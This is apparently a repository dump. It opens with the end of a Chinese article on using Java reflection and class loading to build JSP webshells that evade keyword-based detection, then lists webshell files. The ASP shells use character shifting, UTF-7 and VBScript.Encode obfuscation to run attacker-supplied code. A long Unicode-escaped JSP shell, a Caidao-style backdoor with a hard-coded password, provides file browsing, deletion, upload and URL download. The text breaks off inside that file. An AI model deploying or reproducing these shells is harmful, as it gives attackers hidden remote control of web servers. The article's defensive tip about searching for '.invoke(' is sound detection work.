457 | 在以上文章中,其实我们大部分篇幅都是围绕着Java语言中获得Class对象的四种方法,构造绕过检测软件的执行系统命令的后门的。Java语言中获得Class对象的主要有以下四种方法:
458 |
459 | ##### 原生类.class
460 |
461 | 即通过类、枚举、接口、注解或数组类型的原生类型名称.class,来获得Class对象。
462 |
463 | ```java
464 | Class c = java.lang.Runtime.class;
465 | ```
466 |
467 | ##### 对象.getClass()
468 |
469 | ```java
470 | java.lang.Runtime obj = java.lang.Runtime.getRuntime();
471 | Class c = obj.getClass();
472 | ```
473 |
474 | ##### 使用 Class.forName()
475 |
476 | ```java
477 | Class c= Class.forName("java.lang.Runtime");
478 | 或
479 | Class c = Class.forName("java.lang.Runtime",false,ClassLoader.getSystemClassLoader());
480 | ```
481 |
482 | ##### 使用 ClassLoader
483 |
484 | ```java
485 | Class c = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
486 | ```
487 |
488 | 第一种和第二种方式显然无法规避Runtime等关键字获得Class对象;第三种使用Java反射机制和第四种使用Java类加载机制,都可以从全限定的类名字符串中获得Class对象,编码或变换下字符串的表现形式就可以规避Runtime等关键字,从而达到绕过软件检测的效果。
489 |
490 | ### 0x07:后记
491 |
492 | Java语言不像PHP等语言那么灵活,本文探讨的绕过检测的方法,尽量使用较少的代码量和文件,达到了**规避Runtime、ProcessBuilder等关键字**执行系统命令的效果,但其实在规避命令执行关键字的同时**引入了Java反射和类加载机制相关的关键词**。
493 |
494 | 但是针对检测结果来说,用文中给的ProcessBuilder后门、0x04和0x05中给的新型后门,市面上一些仅利用脚本内容检测Webshell的软件和平台,都是检测不到异常的,其实这也从侧面印证了他们**仅是通过关键词的匹配和已有恶意脚本库的比对**等一些较为简单的方式来进行JSP相关的Webshell检测的。
495 |
496 | 对于专业的查杀软件和平台,仅仅通过文章中关键字来做后门的检测和判断的标准,一棒子打死,是不能兼顾准确率和查杀效果的。但对于个人来说,只需要全局搜索代码中的"**.invoke(**"关键词,人工简单看下代码,就能判断是不是Java反射后门和Java类加载机制后门了。
497 |
498 | ### 参考链接:
499 |
500 | http://tutorials.jenkov.com/java-reflection/index.html
501 |
502 | https://docs.oracle.com/javase/7/docs/api/index.html?java/lang/reflect/package-summary.html
503 |
504 | https://blog.csdn.net/briblue/article/details/54973413
505 |
506 | https://github.com/JustinSDK/JavaSE6Tutorial/blob/master/docs/CH16.md
507 |
508 | https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading
509 |
510 | http://p2j.cn/?p=1627
511 |
512 | https://segmentfault.com/a/1190000004706888
513 |
514 | https://blog.csdn.net/zhangjg_blog/article/details/20380971
515 |
516 | https://segmentfault.com/a/1190000010162647?utm_source=tuicool&utm_medium=referral
517 |
518 | https://stackoverflow.com/questions/6911427/is-it-possible-to-invoke-private-attributes-or-methods-via-reflection
--------------------------------------------------------------------------------
/webshell/asp/bypass-all.asp:
--------------------------------------------------------------------------------
1 | <%
2 | eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))
3 |
4 | Function fun(Str):
5 | Str = Split(Str,"%")
6 | For x=1 To Ubound(Str)
7 | fun=fun&Chr(Str(x)-66)
8 | Next
9 | End Function
10 | %>
11 |
--------------------------------------------------------------------------------
/webshell/asp/create-activex-object.asp:
--------------------------------------------------------------------------------
1 | <%@ language = VBscript %>
2 | <%
3 | SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1")
4 | LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
5 | LandGrey.AddObject "REsponse", Response
6 | LandGrey.AddObject "r"&chr(101)&"quEst", requesT
7 | LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn
8 | LandGrey.AddObject "serv"&chr(101)&"r", serVer
9 | LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application
10 | LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")")
11 | %>
12 |
--------------------------------------------------------------------------------
/webshell/asp/use-html-annotator-bypass.asp:
--------------------------------------------------------------------------------
1 | <%
2 |
3 | execute request("LandGrey")
4 | %>
5 |
--------------------------------------------------------------------------------
/webshell/asp/utf7-bypass.asp:
--------------------------------------------------------------------------------
1 | <%@codepage=65000%>
2 | <%
3 | +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-
4 | %>
--------------------------------------------------------------------------------
/webshell/asp/vbencode-bypass.asp:
--------------------------------------------------------------------------------
1 | <%@ LANGUAGE = "VBScript.Encode"%>
2 | <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%>
--------------------------------------------------------------------------------
/webshell/jsp/CaiDao-Webshell-Password-LandGrey.jsp:
--------------------------------------------------------------------------------
1 | <%@page import="java.io.*,java.net.*,java.sql.*,java.text.*"%>
2 | <%!
3 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0050\u0077\u0064\u003d\u0022\u004c\u0061\u006e\u0064\u0047\u0072\u0065\u0079\u0022\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0045\u0043\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0022\u0049\u0053\u004f\u002d\u0038\u0038\u0035\u0039\u002d\u0031\u0022\u0029\u002c\u0063\u0029\u003b\u007d\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0047\u0043\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0078\u003d\u0073\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0078\u005b\u0030\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0044\u0072\u0069\u0076\u0065\u0072\u004d\u0061\u006e\u0061\u0067\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0028\u0078\u005b\u0031\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u003b\u0069\u0066\u0028\u0078\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003e\u0032\u0029\u007b\u0063\u002e\u0073\u0065\u0074\u0043\u0061\u0074\u0061\u006c\u006f\u0067\u0028\u0078\u005b\u0032\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u003b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0041\u0041\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0072\u005b\u005d\u003d\u0046\u0069\u006c\u0065\u002e\u006c\u0069\u0073\u0074\u0052\u006f\u006f\u0074\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u0072\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u005b\u0069\u005d\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0032\u0029\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u0042\u0042\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u006f\u0046\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u006c\u005b\u005d\u003d\u006f\u0046\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0054\u002c\u0020\u0073\u0051\u002c\u0073\u0046\u003d\u0022\u0022\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0020\u0064\u0074\u003b\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0020\u0066\u006d\u003d\u006e\u0065\u0077\u0020\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0028\u0022\u0079\u0079\u0079\u0079\u002d\u004d\u004d\u002d\u0064\u0064\u0020\u0048\u0048\u003a\u006d\u006d\u003a\u0073\u0073\u0022\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u006c\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0069\u002b\u002b\u0029\u007b\u0064\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0028\u006c\u005b\u0069\u005d\u002e\u006c\u0061\u0073\u0074\u004d\u006f\u0064\u0069\u0066\u0069\u0065\u0064\u0028\u0029\u0029\u003b\u0073\u0054\u003d\u0066\u006d\u002e\u0066\u006f\u0072\u006d\u0061\u0074\u0028\u0064\u0074\u0029\u003b\u0073\u0051\u003d\u006c\u005b\u0069\u005d\u002e\u0063\u0061\u006e\u0052\u0065\u0061\u0064\u0028\u0029\u003f\u0022\u0052\u0022\u003a\u0022\u0022\u003b\u0073\u0051\u002b\u003d\u006c\u005b\u0069\u005d\u002e\u0063\u0061\u006e\u0057\u0072\u0069\u0074\u0065\u0028\u0029\u003f\u0022\u0020\u0057\u0022\u003a\u0022\u0022\u003b\u0069\u0066\u0028\u006c\u005b\u0069\u005d\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u005b\u0069\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002b\u0022\u002f\u005c\u0074\u0022\u002b\u0073\u0054\u002b\u0022\u005c\u0074\u0022\u002b\u006c\u005b\u0069\u005d\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0051\u002b\u0022\u005c\u006e\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0073\u0046\u002b\u003d\u006c\u005b\u0069\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0054\u002b\u0022\u005c\u0074\u0022\u002b\u006c\u005b\u0069\u005d\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0051\u002b\u0022\u005c\u006e\u0022\u003b\u007d\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0073\u0046\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0045\u0045\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0069\u0066\u0028\u0066\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0046\u0069\u006c\u0065\u0020\u0078\u005b\u005d\u003d\u0066\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u006b\u003d\u0030\u003b\u006b\u003c\u0078\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u006b\u002b\u002b\u0029\u007b\u0069\u0066\u0028\u0021\u0078\u005b\u006b\u005d\u002e\u0064\u0065\u006c\u0065\u0074\u0065\u0028\u0029\u0029\u007b\u0045\u0045\u0028\u0078\u005b\u006b\u005d\u002e\u0067\u0065\u0074\u0050\u0061\u0074\u0068\u0028\u0029\u0029\u003b\u007d\u007d\u007d\u0066\u002e\u0064\u0065\u006c\u0065\u0074\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0046\u0046\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0048\u0074\u0074\u0070\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0020\u0072\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0069\u006e\u0074\u0020\u006e\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0072\u002e\u0072\u0065\u0073\u0065\u0074\u0028\u0029\u003b\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u0072\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0073\u0029\u0029\u003b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0030\u002c\u0033\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0030\u002c\u0033\u0029\u003b\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0047\u0047\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0068\u003d\u0022\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0041\u0042\u0043\u0044\u0045\u0046\u0022\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0066\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u004e\u0065\u0077\u0046\u0069\u006c\u0065\u0028\u0029\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0066\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u0064\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u003b\u0069\u002b\u003d\u0032\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0068\u002e\u0069\u006e\u0064\u0065\u0078\u004f\u0066\u0028\u0064\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0069\u0029\u0029\u003c\u003c\u0034\u007c\u0068\u002e\u0069\u006e\u0064\u0065\u0078\u004f\u0066\u0028\u0064\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0069\u002b\u0031\u0029\u0029\u0029\u0029\u003b\u007d\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0048\u0048\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0073\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u0064\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0064\u0029\u003b\u0069\u0066\u0028\u0073\u0066\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0069\u0066\u0028\u0021\u0064\u0066\u002e\u0065\u0078\u0069\u0073\u0074\u0073\u0028\u0029\u0029\u007b\u0064\u0066\u002e\u006d\u006b\u0064\u0069\u0072\u0028\u0029\u003b\u007d\u0046\u0069\u006c\u0065\u0020\u007a\u005b\u005d\u003d\u0073\u0066\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u006a\u003d\u0030\u003b\u006a\u003c\u007a\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u006a\u002b\u002b\u0029\u007b\u0048\u0048\u0028\u0073\u002b\u0022\u002f\u0022\u002b\u007a\u005b\u006a\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002c\u0064\u002b\u0022\u002f\u0022\u002b\u007a\u005b\u006a\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u0029\u003b\u007d\u007d\u0065\u006c\u0073\u0065\u007b\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0073\u0066\u0029\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0064\u0066\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u0049\u0049\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0073\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u0064\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0064\u0029\u003b\u0073\u0066\u002e\u0072\u0065\u006e\u0061\u006d\u0065\u0054\u006f\u0028\u0064\u0066\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004a\u004a\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0066\u002e\u006d\u006b\u0064\u0069\u0072\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004b\u004b\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0074\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0020\u0066\u006d\u003d\u006e\u0065\u0077\u0020\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0028\u0022\u0079\u0079\u0079\u0079\u002d\u004d\u004d\u002d\u0064\u0064\u0020\u0048\u0048\u003a\u006d\u006d\u003a\u0073\u0073\u0022\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0020\u0064\u0074\u003d\u0066\u006d\u002e\u0070\u0061\u0072\u0073\u0065\u0028\u0074\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u004c\u0061\u0073\u0074\u004d\u006f\u0064\u0069\u0066\u0069\u0065\u0064\u0028\u0064\u0074\u002e\u0067\u0065\u0074\u0054\u0069\u006d\u0065\u0028\u0029\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004c\u004c\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0055\u0052\u004c\u0020\u0075\u003d\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0028\u0073\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0064\u0029\u003b\u0048\u0074\u0074\u0070\u0055\u0052\u004c\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0068\u003d\u0028\u0048\u0074\u0074\u0070\u0055\u0052\u004c\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0029\u0075\u002e\u006f\u0070\u0065\u006e\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u003b\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u0068\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0068\u002e\u0064\u0069\u0073\u0063\u006f\u006e\u006e\u0065\u0063\u0074\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004d\u004d\u0028\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u0073\u0029\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u003d\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0021\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u002b\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u004e\u004e\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0